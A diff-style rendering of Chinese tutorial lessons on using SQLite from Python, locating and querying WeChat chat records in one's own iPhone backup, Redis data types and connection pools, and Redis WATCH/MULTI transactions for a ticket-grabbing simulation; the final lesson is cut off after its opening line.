1. cur.fetchone()方法,获取一条记录;
|
||||
1. cur.fetchmany(n) 方法,获取n条记录;
|
||||
1. cur.fetchall()方法,获取全部数据行。
|
||||
|
||||
比如我想获取全部的结果集,可以写成这样:
|
||||
|
||||
```
|
||||
result = cur.fetchall()
|
||||
|
||||
```
|
||||
|
||||
如果我们对事务操作完了,可以提交事务,使用`conn.commit()`即可。
|
||||
|
||||
同样,如果游标和数据库的连接都操作完了,可以对它们进行关闭:
|
||||
|
||||
```
|
||||
cur.close()
|
||||
conn.close()
|
||||
|
||||
```
|
||||
|
||||
上面这个过程的完整代码如下:
|
||||
|
||||
```
|
||||
import sqlite3
|
||||
# 创建数据库连接
|
||||
conn = sqlite3.connect("wucai.db")
|
||||
# 获取游标
|
||||
cur = conn.cursor()
|
||||
# 创建数据表
|
||||
cur.execute("CREATE TABLE IF NOT EXISTS heros (id int primary key, name text, hp_max real, mp_max real, role_main text)")
|
||||
# 插入英雄数据
|
||||
cur.executemany('insert into heros values(?, ?, ?, ?, ?)',
|
||||
((10000, '夏侯惇', 7350, 1746, '坦克'),
|
||||
(10001, '钟无艳', 7000, 1760, '战士'),
|
||||
(10002, '张飞', 8341, 100, '坦克'),
|
||||
(10003, '牛魔', 8476, 1926, '坦克'),
|
||||
(10004, '吕布', 7344, 0, '战士')))
|
||||
cur.execute("SELECT id, name, hp_max, mp_max, role_main FROM heros")
|
||||
result = cur.fetchall()
|
||||
print(result)
|
||||
# 提交事务
|
||||
conn.commit()
|
||||
# 关闭游标
|
||||
cur.close()
|
||||
# 关闭数据库连接
|
||||
conn.close()
|
||||
|
||||
```
|
||||
|
||||
除了使用Python操作SQLite之外,在整个操作过程中,我们同样可以使用navicat数据库可视化工具来查看和管理SQLite。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f2/fe/f2cb51591733d386239f843bd83c8afe.png" alt="">
|
||||
|
||||
## 通过SQLite查询微信的聊天记录
|
||||
|
||||
刚才我们提到很多应用都会集成SQLite作为客户端本地的数据库,这样就可以避免通过数据库服务器进行交互,减少服务器的压力。
|
||||
|
||||
如果你是iPhone手机,不妨跟着我执行以下的步骤,来查找下微信中的SQLite文件的位置吧。
|
||||
|
||||
第一步,使用iTunes备份iPhone;第二步,在电脑中查找备份文件。
|
||||
|
||||
当我们备份好数据之后,需要在本地找到备份的文件,如果是windows可以在C:\Users\XXXX\AppData\Roaming\Apple Computer\MobileSync\Backup 这个路径中找到备份文件夹。
|
||||
|
||||
第三步,查找Manifest.db。
|
||||
|
||||
在备份文件夹中会存在Manifest.db文件,这个文件定义了苹果系统中各种备份所在的文件位置。
|
||||
|
||||
第四步,查找MM.sqlite。
|
||||
|
||||
Manifest.db本身是SQLite数据文件,通过SQLite我们能看到文件中包含了Files数据表,这张表中有fileID、domain和relativePath等字段。
|
||||
|
||||
微信的聊天记录文件为MM.sqlite,我们可以直接通过SQL语句来查询下它的位置(也就是fileID)。
|
||||
|
||||
```
|
||||
SELECT * FROM Files WHERE relativePath LIKE '%MM.sqlite'
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d1/52/d11e7857bbf1da3a6b4db9c34d561e52.png" alt="">
|
||||
|
||||
你能看到在我的微信备份中有2个MM.sqlite文件,这些都是微信的聊天记录。
|
||||
|
||||
第五步,分析找到的MM.sqlite。
|
||||
|
||||
这里我们需要在备份文件夹中查找相关的fileID,比如f71743874d7b858a01e3ddb933ce13a9a01f79aa。
|
||||
|
||||
找到这个文件后,我们可以复制一份,取名为weixin.db,这样就可以使用navicat对这个数据库进行可视化管理,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/64/27/6401a3e7bbcf7757b27233b777934327.png" alt=""><br>
|
||||
微信会把你与每一个人的聊天记录都保存成一张数据表,在数据表中会有MesLocalID、Message、Status等相应的字段,它们分别代表在当前对话中的ID、聊天内容和聊天内容的状态)。
|
||||
|
||||
如果聊天对象很多的话,数据表也会有很多,如果想知道都有哪些聊天对象的数据表,可以使用:
|
||||
|
||||
```
|
||||
SELECT name FROM sqlite_master WHERE type = 'table' AND name LIKE 'Chat\_%' escape '\'
|
||||
|
||||
```
|
||||
|
||||
这里需要说明的是sqlite_master是SQLite的系统表,数据表是只读的,里面保存了数据库中的数据表的名称。聊天记录的数据表都是以Chat_开头的,因为`(_)`属于特殊字符,在LIKE语句中会将`(_)`作为通配符。所以如果我们想要对开头为Chat_的文件名进行匹配,就需要用escape对这个特殊字符做转义。
|
||||
|
||||
## 总结
|
||||
|
||||
我今天讲了有关SQLite的内容。在使用SQLite的时候,需要注意SQLite有自己的方言,比如在进行表连接查询的时候不支持RIGHT JOIN,需要将其转换成LEFT JOIN等。同时,我们在使用execute()方法的时候,尽量采用带有参数的SQL语句,以免被SQL注入攻击。
|
||||
|
||||
学习完今天的内容后,不如试试用SQL查询来查找本地的聊天记录吧。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b9/91/b932d2e3a31f908cf1de9b80f29e8891.png" alt=""><br>
|
||||
最后留一道思考题吧。请你使用SQL查询对微信聊天记录中和“作业”相关的记录进行查找。不论是iPhone,还是Android手机都可以找到相应的SQLite文件,你可以使用Python对SQLite进行操作,并输出结果。
|
||||
|
||||
欢迎你在评论区写下你的答案,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
|
||||
|
||||
224
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/41丨初识Redis:Redis为什么会这么快?.md
Normal file
224
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/41丨初识Redis:Redis为什么会这么快?.md
Normal file
@@ -0,0 +1,224 @@
|
||||
<audio id="audio" title="41丨初识Redis:Redis为什么会这么快?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/e9/50/e91e477ce3138808edf4e03508690250.mp3"></audio>
|
||||
|
||||
之前我们讲解了一些RDBMS的使用,比如MySQL、Oracle、SQL Server和SQLite等,实际上在日常工作中,我们还会接触到一些NoSQL类型的数据库。如果对比RDBMS和NoSQL数据库,你会发现RDBMS建立在关系模型基础上,强调数据的一致性和各种约束条件,而NoSQL的规则是“只提供你想要的”,数据模型灵活,查询效率高,成本低。但同时,相比RDBMS,NoSQL数据库没有统一的架构和标准语言,每种数据库之间差异较大,各有所长。
|
||||
|
||||
今天我们要讲解的Redis属于键值(key-value)数据库,键值数据库会使用哈希表存储键值和数据,其中key作为唯一的标识,而且key和value可以是任何的内容,不论是简单的对象还是复杂的对象都可以存储。键值数据库的查询性能高,易于扩展。
|
||||
|
||||
今天我们就来了解下Redis,具体的内容包括以下几个方面:
|
||||
|
||||
1. Redis是什么,为什么使用Redis会非常快?
|
||||
1. Redis支持的数据类型都有哪些?
|
||||
1. 如何通过Python和Redis进行交互?
|
||||
|
||||
## Redis是什么,为什么这么快
|
||||
|
||||
Redis全称是REmote DIctionary Server,从名字中你也能看出来它用字典结构存储数据,也就是key-value类型的数据。
|
||||
|
||||
Redis的查询效率非常高,根据官方提供的数据,Redis每秒最多处理的请求可以达到10万次。
|
||||
|
||||
为什么这么快呢?
|
||||
|
||||
Redis采用ANSI C语言编写,它和SQLite一样。采用C语言进行编写的好处是底层代码执行效率高,依赖性低,因为使用C语言开发的库没有太多运行时(Runtime)依赖,而且系统的兼容性好,稳定性高。
|
||||
|
||||
此外,Redis是基于内存的数据库,我们之前讲到过,这样可以避免磁盘I/O,因此Redis也被称为缓存工具。
|
||||
|
||||
其次,数据结构结构简单,Redis采用Key-Value方式进行存储,也就是使用Hash结构进行操作,数据的操作复杂度为O(1)。
|
||||
|
||||
但Redis快的原因还不止这些,它采用单进程单线程模型,这样做的好处就是避免了上下文切换和不必要的线程之间引起的资源竞争。
|
||||
|
||||
在技术上Redis还采用了多路I/O复用技术。这里的多路指的是多个socket网络连接,复用指的是复用同一个线程。采用多路I/O复用技术的好处是可以在同一个线程中处理多个I/O请求,尽量减少网络I/O的消耗,提升使用效率。
|
||||
|
||||
## Redis的数据类型
|
||||
|
||||
相比Memcached,Redis有一个非常大的优势,就是支持多种数据类型。Redis支持的数据类型包括字符串、哈希、列表、集合、有序集合等。
|
||||
|
||||
字符串类型是Redis提供的最基本的数据类型,对应的结构是key-value。
|
||||
|
||||
如果我们想要设置某个键的值,使用方法为`set key value`,比如我们想要给name这个键设置值为zhangfei,可以写成`set name zhangfei`。如果想要取某个键的值,可以使用`get key`,比如想取name的值,写成get name即可。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/55/30/554243f80e4029e82ffd60c4b0303030.png" alt=""><br>
|
||||
哈希(hash)提供了字段和字段值的映射,对应的结构是key-field-value。
|
||||
|
||||
如果我们想要设置某个键的哈希值,可以使用`hset key field value`,如果想要给user1设置username为zhangfei,age为28,可以写成下面这样:
|
||||
|
||||
```
|
||||
hset user1 username zhangfei
|
||||
hset user1 age 28
|
||||
|
||||
```
|
||||
|
||||
如果我们想要同时将多个field-value设置给某个键key的时候,可以使用`hmset key field value [field value...]`,比如上面这个可以写成:
|
||||
|
||||
```
|
||||
Hmset user1 username zhangfei age 28
|
||||
|
||||
|
||||
```
|
||||
|
||||
如果想要取某个键的某个field字段值,可以使用`hget key field`,比如想要取user1的username,那么写成`hget user1 username`即可。
|
||||
|
||||
如果想要一次获取某个键的多个field字段值,可以使用`hmget key field[field...]`,比如想要取user1的username和age,可以写成`hmget user1 username age`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4a/3c/4aac95f8536f67f97f1c913a3633aa3c.png" alt=""><br>
|
||||
字符串列表(list)的底层是一个双向链表结构,所以我们可以向列表的两端添加元素,时间复杂度都为O(1),同时我们也可以获取列表中的某个片段。
|
||||
|
||||
如果想要向列表左侧增加元素可以使用:`LPUSH key value [...]`,比如我们给heroList列表向左侧添加zhangfei、guanyu和liubei这三个元素,可以写成:
|
||||
|
||||
```
|
||||
LPUSH heroList zhangfei guanyu liubei
|
||||
|
||||
```
|
||||
|
||||
同样,我们也可以使用`RPUSH key value [...]`向列表右侧添加元素,比如我们给heroList列表向右侧添加dianwei、lvbu这两个元素,可以写成下面这样:
|
||||
|
||||
```
|
||||
RPUSH heroList dianwei lvbu
|
||||
|
||||
|
||||
```
|
||||
|
||||
如果我们想要获取列表中某一片段的内容,使用`LRANGE key start stop`即可,比如我们想要获取heroList从0到4位置的数据,写成`LRANGE heroList 0 4`即可。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d8/26/d87d2a6b0f858b0a5c88aa4417707a26.png" alt=""><br>
|
||||
字符串集合(set)是字符串类型的无序集合,与列表(list)的区别在于集合中的元素是无序的,同时元素不能重复。
|
||||
|
||||
如果想要在集合中添加元素,可以使用`SADD key member [...]`,比如我们给heroSet集合添加zhangfei、guanyu、liubei、dianwei和lvbu这五个元素,可以写成:
|
||||
|
||||
```
|
||||
SADD heroSet zhangfei guanyu liubei dianwei lvbu
|
||||
|
||||
```
|
||||
|
||||
如果想要在集合中删除某元素,可以使用`SREM key member [...]`,比如我们从heroSet集合中删除liubei和lvbu这两个元素,可以写成:
|
||||
|
||||
```
|
||||
SREM heroSet liubei lvbu
|
||||
|
||||
```
|
||||
|
||||
如果想要获取集合中所有的元素,可以使用`SMEMBERS key`,比如我们想要获取heroSet集合中的所有元素,写成`SMEMBERS heroSet`即可。
|
||||
|
||||
如果想要判断集合中是否存在某个元素,可以使用`SISMEMBER key member`,比如我们想要判断heroSet集合中是否存在zhangfei和liubei,就可以写成下面这样:
|
||||
|
||||
```
|
||||
SISMEMBER heroSet zhangfei
|
||||
SISMEMBER heroSet liubei
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e6/0f/e69e7249b48194e0f76a8f351287390f.png" alt=""><br>
|
||||
我们可以把有序字符串集合(SortedSet,简称ZSET)理解成集合的升级版。实际上ZSET是在集合的基础上增加了一个分数属性,这个属性在添加修改元素的时候可以被指定。每次指定后,ZSET都会按照分数来进行自动排序,也就是说我们在给集合key添加member的时候,可以指定score。
|
||||
|
||||
有序集合与列表有一定的相似性,比如这两种数据类型都是有序的,都可以获得某一范围的元素。但它俩在数据结构上有很大的不同,首先列表list是通过双向链表实现的,在操作左右两侧的数据时会非常快,而对于中间的数据操作则相对较慢。有序集合采用hash表的结构来实现,读取排序在中间部分的数据也会很快。同时有序集合可以通过score来完成元素位置的调整,但如果我们想要对列表进行元素位置的调整则会比较麻烦。
|
||||
|
||||
如果我们想要在有序集合中添加元素和分数,使用`ZADD key score member [...]`,比如我们给heroScore集合添加下面5个英雄的hp_max数值,如下表所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2b/54/2b8db8619d37452b4608e8dbe91cba54.png" alt=""><br>
|
||||
那么我们可以写成下面这样:
|
||||
|
||||
```
|
||||
ZADD heroScore 8341 zhangfei 7107 guanyu 6900 liubei 7516 dianwei 7344 lvbu
|
||||
|
||||
```
|
||||
|
||||
如果我们想要获取某个元素的分数,可以使用`ZSCORE key member`,比如我们想要获取guanyu的分数,写成`ZSCORE heroScore guanyu`即可。
|
||||
|
||||
如果我们想要删除一个或多元素,可以使用ZREM key member [member …],比如我们想要删除guanyu这个元素,使用`ZREM heroScore guanyu`即可。
|
||||
|
||||
我们也可以获取某个范围的元素列表。如果想要分数从小到大进行排序,使用`ZRANGE key start stop [WITHSCORES]`,如果分数从大到小进行排序,使用`ZREVRANGE key start stop [WITHSCORES]`。需要注意的是,WITHSCORES是个可选项,如果使用WITHSCORES会将分数一同显示出来,比如我们想要查询heroScore这个有序集合中分数排名前3的英雄及数值,写成`ZREVRANGE heroScore 0 2 WITHSCORES`即可。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/10/85/106083c4b4872fadb6b91f46b3e74485.png" alt=""><br>
|
||||
除了这5种数据类型以外,Redis还支持位图(Bitmaps)数据结构,在2.8版本之后,增加了基数统计(HyperLogLog),3.2版本之后加入了地理空间(Geospatial)以及索引半径查询的功能,在5.0版本引用了数据流(Streams)数据类型。
|
||||
|
||||
## 如何使用Redis
|
||||
|
||||
我们可以在Python中直接操作Redis,在使用前需要使用`pip install redis`安装工具包,安装好之后,在使用前我们需要使用import redis进行引用。
|
||||
|
||||
在Python中提供了两种连接Redis的方式,第一种是直接连接,使用下面这行命令即可。
|
||||
|
||||
```
|
||||
r = redis.Redis(host='localhost', port= 6379)
|
||||
|
||||
```
|
||||
|
||||
第二种是连接池方式。
|
||||
|
||||
```
|
||||
pool = redis.ConnectionPool(host='localhost', port=6379)
|
||||
r = redis.Redis(connection_pool=pool)
|
||||
|
||||
```
|
||||
|
||||
你可能会有疑问,这两种连接方式有什么不同?直接连接可能会耗费掉很多资源。通常情况下,我们在连接Redis的时候,可以创建一个Redis连接,通过它来完成Redis操作,完成之后再释放掉。但是在高并发的情况下,这样做非常不经济,因为每次连接和释放都需要消耗非常多的资源。
|
||||
|
||||
### 为什么采用连接池机制
|
||||
|
||||
基于直接连接的弊端,Redis提供了连接池的机制,这个机制可以让我们事先创建好多个连接,将其放到连接池中,当我们需要进行Redis操作的时候就直接从连接池中获取,完成之后也不会直接释放掉连接,而是将它返回到连接池中。
|
||||
|
||||
连接池机制可以避免频繁创建和释放连接,提升整体的性能。
|
||||
|
||||
### 连接池机制的原理
|
||||
|
||||
在连接池的实例中会有两个list,保存的是`_available_connections`和`_in_use_connections`,它们分别代表连接池中可以使用的连接集合和正在使用的连接集合。当我们想要创建连接的时候,可以从`_available_connections`中获取一个连接进行使用,并将其放到`_in_use_connections`中。如果没有可用的连接,才会创建一个新连接,再将其放到`_in_use_connections`中。如果连接使用完毕,会从`_in_use_connections`中删除,添加到`_available_connections`中,供后续使用。
|
||||
|
||||
Redis库提供了Redis和StrictRedis类,它们都可以实现Redis命令,不同之处在于Redis是StrictRedis的子类,可以对旧版本进行兼容。如果我们想要使用连接池机制,然后用StrictRedis进行实例化,可以写成下面这样:
|
||||
|
||||
```
|
||||
import redis
|
||||
pool = redis.ConnectionPool(host='localhost', port=6379)
|
||||
r = redis.StrictRedis(connection_pool=pool)
|
||||
|
||||
```
|
||||
|
||||
### 实验:使用Python统计Redis进行1万次写请求和1万次读请求的时间
|
||||
|
||||
了解了如何使用Python创建Redis连接之后,我们再来看下怎样使用Python对Redis进行数据的写入和读取。这里我们使用HMSET函数同时将多个`field-value`值存入到键中。模拟1万次的写请求里,设置了不同的key,和相同的`field-value`值,然后在1万次读请求中,将这些不同的key中保存的`field-value`值读取出来。具体代码如下:
|
||||
|
||||
```
|
||||
import redis
|
||||
import time
|
||||
# 创建redis连接
|
||||
pool = redis.ConnectionPool(host='localhost', port=6379)
|
||||
r = redis.StrictRedis(connection_pool=pool)
|
||||
# 记录当前时间
|
||||
time1 = time.time()
|
||||
# 1万次写
|
||||
for i in range(10000):
|
||||
data = {'username': 'zhangfei', 'age':28}
|
||||
r.hmset("users"+str(i), data)
|
||||
# 统计写时间
|
||||
delta_time = time.time()-time1
|
||||
print(delta_time)
|
||||
# 统计当前时间
|
||||
time1 = time.time()
|
||||
# 1万次读
|
||||
for i in range(10000):
|
||||
result = r.hmget("users"+str(i), ['username', 'age'])
|
||||
# 统计读时间
|
||||
delta_time = time.time()-time1
|
||||
print(delta_time)
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
2.0041146278381348
|
||||
0.9920568466186523
|
||||
|
||||
```
|
||||
|
||||
你能看到1万次写请求差不多用时2秒钟,而1万次读请求用时不到1秒钟,读写效率还是很高的。
|
||||
|
||||
## 总结
|
||||
|
||||
NoSQL数据库种类非常多,了解Redis是非常有必要的,在实际工作中,我们也经常将RDBMS和Redis一起使用,优势互补。
|
||||
|
||||
作为常见的NoSQL数据库,Redis支持的数据类型比Memcached丰富得多,在I/O性能上,Redis采用的是单线程I/O复用模型,而Memcached是多线程,可以利用多核优势。而且在持久化上,Redis提供了两种持久化的模式,可以让数据永久保存,这是Memcached不具备的。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a1/67/a15c68e276f962169336ffd26bd22867.png" alt=""><br>
|
||||
你不妨思考一下,为什么Redis采用了单线程工作模式?有哪些机制可以保证Redis即使采用单线程模式效率也很高呢?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
|
||||
|
||||
168
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/42丨如何使用Redis来实现多用户抢票问题.md
Normal file
168
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/42丨如何使用Redis来实现多用户抢票问题.md
Normal file
@@ -0,0 +1,168 @@
|
||||
<audio id="audio" title="42丨如何使用Redis来实现多用户抢票问题" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/b8/36/b80b8d71b133cacfdd5e7d924d345236.mp3"></audio>
|
||||
|
||||
在上一篇文章中,我们已经对Redis有了初步的认识,了解到Redis采用Key-Value的方式进行存储,在Redis内部,使用的是redisObject对象来表示所有的key和value。同时我们还了解到Redis本身用的是单线程的机制,采用了多路I/O复用的技术,在处理多个I/O请求的时候效率很高。
|
||||
|
||||
今天我们来更加深入地了解一下Redis的原理,内容包括以下几方面:
|
||||
|
||||
1. Redis的事务处理机制是怎样的?与RDBMS有何不同?
|
||||
1. Redis的事务处理的命令都有哪些?如何使用它们完成事务操作?
|
||||
1. 如何使用Python的多线程机制和Redis的事务命令模拟多用户抢票?
|
||||
|
||||
## Redis的事务处理机制
|
||||
|
||||
在此之前,让我们先来回忆下RDBMS中事务满足的4个特性ACID,它们分别代表原子性、一致性、隔离性和持久性。
|
||||
|
||||
Redis的事务处理与RDBMS的事务有一些不同。
|
||||
|
||||
首先Redis不支持事务的回滚机制(Rollback),这也就意味着当事务发生了错误(只要不是语法错误),整个事务依然会继续执行下去,直到事务队列中所有命令都执行完毕。在[Redis官方文档](https://redis.io/topics/transactions)中说明了为什么Redis不支持事务回滚。
|
||||
|
||||
只有当编程语法错误的时候,Redis命令执行才会失败。这种错误通常出现在开发环境中,而很少出现在生产环境中,没有必要开发事务回滚功能。
|
||||
|
||||
另外,Redis是内存数据库,与基于文件的RDBMS不同,通常只进行内存计算和操作,无法保证持久性。不过Redis也提供了两种持久化的模式,分别是RDB和AOF模式。
|
||||
|
||||
RDB(Redis DataBase)持久化可以把当前进程的数据生成快照保存到磁盘上,触发RDB持久化的方式分为手动触发和自动触发。因为持久化操作与命令操作不是同步进行的,所以无法保证事务的持久性。
|
||||
|
||||
AOF(Append Only File)持久化采用日志的形式记录每个写操作,弥补了RDB在数据一致性上的不足,但是采用AOF模式,就意味着每条执行命令都需要写入文件中,会大大降低Redis的访问性能。启用AOF模式需要手动开启,有3种不同的配置方式,默认为everysec,也就是每秒钟同步一次。其次还有always和no模式,分别代表只要有数据发生修改就会写入AOF文件,以及由操作系统决定什么时候记录到AOF文件中。
|
||||
|
||||
虽然Redis提供了两种持久化的机制,但是作为内存数据库,持久性并不是它的擅长。
|
||||
|
||||
Redis是单线程程序,在事务执行时不会中断事务,其他客户端提交的各种操作都无法执行,因此你可以理解为Redis的事务处理是串行化的方式,总是具有隔离性的。
|
||||
|
||||
## Redis的事务处理命令
|
||||
|
||||
了解了Redis的事务处理机制之后,我们来看下Redis的事务处理都包括哪些命令。
|
||||
|
||||
1. MULTI:开启一个事务;
|
||||
1. EXEC:事务执行,将一次性执行事务内的所有命令;
|
||||
1. DISCARD:取消事务;
|
||||
1. WATCH:监视一个或多个键,如果事务执行前某个键发生了改动,那么事务也会被打断;
|
||||
1. UNWATCH:取消WATCH命令对所有键的监视。
|
||||
|
||||
需要说明的是Redis实现事务是基于COMMAND队列,如果Redis没有开启事务,那么任何的COMMAND都会立即执行并返回结果。如果Redis开启了事务,COMMAND命令会放到队列中,并且返回排队的状态QUEUED,只有调用EXEC,才会执行COMMAND队列中的命令。
|
||||
|
||||
比如我们使用事务的方式存储5名玩家所选英雄的信息,代码如下:
|
||||
|
||||
```
|
||||
MULTI
|
||||
hmset user:001 hero 'zhangfei' hp_max 8341 mp_max 100
|
||||
hmset user:002 hero 'guanyu' hp_max 7107 mp_max 10
|
||||
hmset user:003 hero 'liubei' hp_max 6900 mp_max 1742
|
||||
hmset user:004 hero 'dianwei' hp_max 7516 mp_max 1774
|
||||
hmset user:005 hero 'diaochan' hp_max 5611 mp_max 1960
|
||||
EXEC
|
||||
|
||||
```
|
||||
|
||||
你能看到在MULTI和EXEC之间的COMMAND命令都会被放到COMMAND队列中,并返回排队的状态,只有当EXEC调用时才会一次性全部执行。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4a/06/4aa62797167f41599b9e514d77fc0a06.png" alt=""><br>
|
||||
我们经常使用Redis的WATCH和MULTI命令来处理共享资源的并发操作,比如秒杀,抢票等。实际上WATCH+MULTI实现的是乐观锁。下面我们用两个Redis客户端来模拟下抢票的流程。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/95/41/95e294bfb6843ef65beff61ca0bc3a41.png" alt=""><br>
|
||||
我们启动Redis客户端1,执行上面的语句,然后在执行EXEC前,等待客户端2先完成上面的执行,客户端2的结果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/eb/1b/ebbadb4698e80d81dbf7c62a21dbec1b.png" alt=""><br>
|
||||
然后客户端1执行EXEC,结果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6b/f8/6b23c9efcdbe1f349299fc32d41ab0f8.png" alt=""><br>
|
||||
你能看到实际上最后一张票被客户端2抢到了,这是因为客户端1WATCH的票的变量在EXEC之前发生了变化,整个事务就被打断,返回空回复(nil)。
|
||||
|
||||
需要说明的是MULTI后不能再执行WATCH命令,否则会返回WATCH inside MULTI is not allowed错误(因为WATCH代表的就是在执行事务前观察变量是否发生了改变,如果变量改变了就将事务打断,所以在事务执行之前,也就是MULTI之前,使用WATCH)。同时,如果在执行命令过程中有语法错误,Redis也会报错,整个事务也不会被执行,Redis会忽略运行时发生的错误,不会影响到后面的执行。
|
||||
|
||||
## 模拟多用户抢票
|
||||
|
||||
我们刚才讲解了Redis的事务命令,并且使用Redis客户端的方式模拟了两个用户抢票的流程。下面我们使用Python继续模拟一下这个过程,这里需要注意三点。
|
||||
|
||||
在Python中,Redis事务是通过pipeline封装而实现的,因此在创建Redis连接后,需要获取管道pipeline,然后通过pipeline使用WATCH、MULTI和EXEC命令。
|
||||
|
||||
其次,用户是并发操作的,因此我们需要使用到Python的多线程,这里使用threading库来创建多线程。
|
||||
|
||||
对于用户的抢票,我们设置了sell函数,用于模拟用户i的抢票。在执行MULTI前,我们需要先使用pipe.watch(KEY)监视票数,如果票数不大于0,则说明票卖完了,用户抢票失败;如果票数大于0,证明可以抢票,再执行MULTI,将票数减1并进行提交。不过在提交执行的时候可能会失败,这是因为如果监视的KEY发生了改变,则会产生异常,我们可以通过捕获异常,来提示用户抢票失败,重试一次。如果成功执行事务,则提示用户抢票成功,显示当前的剩余票数。
|
||||
|
||||
具体代码如下:
|
||||
|
||||
```
|
||||
import redis
|
||||
import threading
|
||||
# 创建连接池
|
||||
pool = redis.ConnectionPool(host = '127.0.0.1', port=6379, db=0)
|
||||
# 初始化 redis
|
||||
r = redis.StrictRedis(connection_pool = pool)
|
||||
|
||||
# 设置KEY
|
||||
KEY="ticket_count"
|
||||
# 模拟第i个用户进行抢票
|
||||
def sell(i):
|
||||
# 初始化 pipe
|
||||
pipe = r.pipeline()
|
||||
while True:
|
||||
try:
|
||||
# 监视票数
|
||||
pipe.watch(KEY)
|
||||
# 查看票数
|
||||
c = int(pipe.get(KEY))
|
||||
if c > 0:
|
||||
# 开始事务
|
||||
pipe.multi()
|
||||
c = c - 1
|
||||
pipe.set(KEY, c)
|
||||
pipe.execute()
|
||||
print('用户 {} 抢票成功,当前票数 {}'.format(i, c))
|
||||
break
|
||||
else:
|
||||
print('用户 {} 抢票失败,票卖完了'.format(i))
|
||||
break
|
||||
except Exception as e:
|
||||
print('用户 {} 抢票失败,重试一次'.format(i))
|
||||
continue
|
||||
finally:
|
||||
pipe.unwatch()
|
||||
|
||||
if __name__ == "__main__":
|
||||
# 初始化5张票
|
||||
r.set(KEY, 5)
|
||||
# 设置8个人抢票
|
||||
for i in range(8):
|
||||
t = threading.Thread(target=sell, args=(i,))
|
||||
t.start()
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
用户 0 抢票成功,当前票数 4
|
||||
用户 4 抢票失败,重试一次
|
||||
用户 1 抢票成功,当前票数 3
|
||||
用户 2 抢票成功,当前票数 2
|
||||
用户 4 抢票失败,重试一次
|
||||
用户 5 抢票失败,重试一次
|
||||
用户 6 抢票成功,当前票数 1
|
||||
用户 4 抢票成功,当前票数 0
|
||||
用户 5 抢票失败,重试一次
|
||||
用户 3 抢票失败,重试一次
|
||||
用户 7 抢票失败,票卖完了
|
||||
用户 5 抢票失败,票卖完了
|
||||
用户 3 抢票失败,票卖完了
|
||||
|
||||
```
|
||||
|
||||
在Redis中不存在悲观锁,事务处理要考虑到并发请求的情况,我们需要通过WATCH+MULTI的方式来实现乐观锁,如果监视的KEY没有发生变化则可以顺利执行事务,否则说明事务的安全性已经受到了破坏,服务器就会放弃执行这个事务,直接向客户端返回空回复(nil),事务执行失败后,我们可以重新进行尝试。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我讲解了Redis的事务机制,Redis事务是一系列Redis命令的集合,事务中的所有命令都会按照顺序进行执行,并且在执行过程中不会受到其他客户端的干扰。不过在事务的执行中,Redis可能会遇到下面两种错误的情况:
|
||||
|
||||
首先是语法错误,也就是在Redis命令入队时发生的语法错误。Redis在事务执行前不允许有语法错误,如果出现,则会导致事务执行失败。如官方文档所说,通常这种情况在生产环境中很少出现,一般会发生在开发环境中,如果遇到了这种语法错误,就需要开发人员自行纠错。
|
||||
|
||||
第二个是执行时错误,也就是在事务执行时发生的错误,比如处理了错误类型的键等,这种错误并非语法错误,Redis只有在实际执行中才能判断出来。不过Redis不提供回滚机制,因此当发生这类错误时Redis会继续执行下去,保证其他命令的正常执行。
|
||||
|
||||
在事务处理中,我们需要通过锁的机制来解决共享资源并发访问的情况。在Redis中提供了WATCH+MULTI的乐观锁方式。我们之前了解过乐观锁是一种思想,它是通过程序实现的锁机制,在数据更新的时候进行判断,成功就执行,不成功就失败,不需要等待其他事务来释放锁。事实上,在在Redis的设计中,处处体现了这种乐观、简单的设计理念。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e3/83/e3ae78a3220320015cb3e43c642ea683.png" alt=""><br>
|
||||
最后我们一起思考两个问题吧。Redis既然是单线程程序,在执行事务过程中按照顺序执行,为什么还会用WATCH+MULTI的方式来实现乐观锁的并发控制呢?
|
||||
|
||||
我们在进行抢票模拟的时候,列举了两个Redis客户端的例子,当WATCH的键ticket发生改变的时候,事务就会被打断。这里我将客户端2的SET ticket设置为1,也就是ticket的数值没有发生变化,请问此时客户端1和客户端2的执行结果是怎样的,为什么?
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d4/44/d4bb30f5d415ea93980c465e4f110544.png" alt=""><br>
|
||||
欢迎你在评论区写下你的思考,我会和你一起交流,也欢迎你把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
305
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/43丨如何使用Redis搭建玩家排行榜?.md
Normal file
305
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/43丨如何使用Redis搭建玩家排行榜?.md
Normal file
@@ -0,0 +1,305 @@
|
||||
<audio id="audio" title="43丨如何使用Redis搭建玩家排行榜?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/cc/2f/cc79c6347073a267a68c4bac092b9a2f.mp3"></audio>
|
||||
|
||||
